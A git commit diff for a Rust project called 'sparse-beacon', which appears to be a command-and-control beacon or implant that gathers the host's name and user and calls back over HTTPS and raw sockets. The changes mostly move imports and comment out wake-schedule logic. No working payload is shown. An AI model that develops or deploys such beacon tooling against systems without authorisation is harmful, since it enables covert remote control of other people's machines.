feat: reworked command processing and storage

sparse-beacon/src/callback.rs

@@ -12,13 +12,13 @@ use hyper_util::{
 use rustls::RootCertStore;
 use tower_service::Service;
 
-use sparse_actions::payload_types::Parameters;
-
-use crate::{
+use sparse_actions::{
     adapter, error,
-    tcp::{self, setup_network},
+    payload_types::Parameters
 };
 
+use crate::tcp::{self, setup_network};
+
 #[derive(Clone)]
 pub struct ServerConnector<T>
 where

sparse-beacon/src/lib.rs

@@ -3,17 +3,13 @@ use sparse_actions::payload_types::Parameters;
 use http_body_util::{BodyExt, Full};
 use hyper::{Request, Method};
 
-use sparse_actions::messages;
+use sparse_actions::{adapter, error::BeaconError, messages};
 
 mod callback;
 mod socket;
 mod tcp;
 mod params;
 
-pub mod adapter;
-pub mod error;
-pub use error::BeaconError;
-
 pub fn install_rustls() {
     #[cfg(feature = "openssl")]
     let _ = rustls_openssl::default_provider().install_default();
@@ -63,7 +59,7 @@ where
     let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
     let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
 
-    let mut config: messages::BeaconConfig = {
+    let _config: messages::BeaconConfig = {
         let client = callback::obtain_https_client(&host_adapter, &params).await?;
 
         make_request(
@@ -83,15 +79,15 @@ where
     loop {
         // let client = callback::obtain_https_client(&host_adapter, &params).await?;
 
-        use messages::RuntimeConfig as RC;
-        let target_wake_time = match &config.runtime_config {
-            RC::Oneshot => { break; },
-            RC::Random { interval_min, interval_max } => {},
-            RC::Regular { interval } => {},
-            RC::Cron { schedule, timezone } => {
+        //use messages::RuntimeConfig as RC;
+        //let target_wake_time = match &config.runtime_config {
+        //    RC::Oneshot => { break; },
+        //    RC::Random { interval_min, interval_max } => {},
+        //    RC::Regular { interval } => {},
+        //    RC::Cron { schedule, timezone } => {
 
-            }
-        };
+        //    }
+        //};
     }
 
     // for _ in 1..5 {
@@ -106,6 +102,4 @@ where
     //     let body = body.collect().await;
     //     println!("{:?}", body);
     // }
-
-    Ok(())
 }

sparse-beacon/src/params.rs

@@ -1,7 +1,4 @@
-use sparse_actions::payload_types::Parameters;
-
-use crate::adapter::BeaconAdapter;
-use crate::error::BeaconError;
+use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
 
 pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
 where

sparse-beacon/src/socket.rs

@@ -2,7 +2,7 @@ use smoltcp::phy::{self, Device, DeviceCapabilities, Medium};
 
 use pcap_sys::Interface;
 
-use crate::{adapter, error};
+use sparse_actions::{adapter, error};
 
 struct SocketInner {
     lower: Interface,

sparse-beacon/src/tcp.rs

@@ -18,9 +18,10 @@ use tokio::{
     task::{spawn_blocking, JoinHandle},
 };
 
-use sparse_actions::payload_types::Parameters;
-
-use crate::{adapter, error};
+use sparse_actions::{
+    adapter, error,
+    payload_types::Parameters
+};
 
 pub struct NetInterfaceHandle {
     net: Arc<Mutex<(SocketSet<'static>, crate::socket::RawSocket, Interface)>>,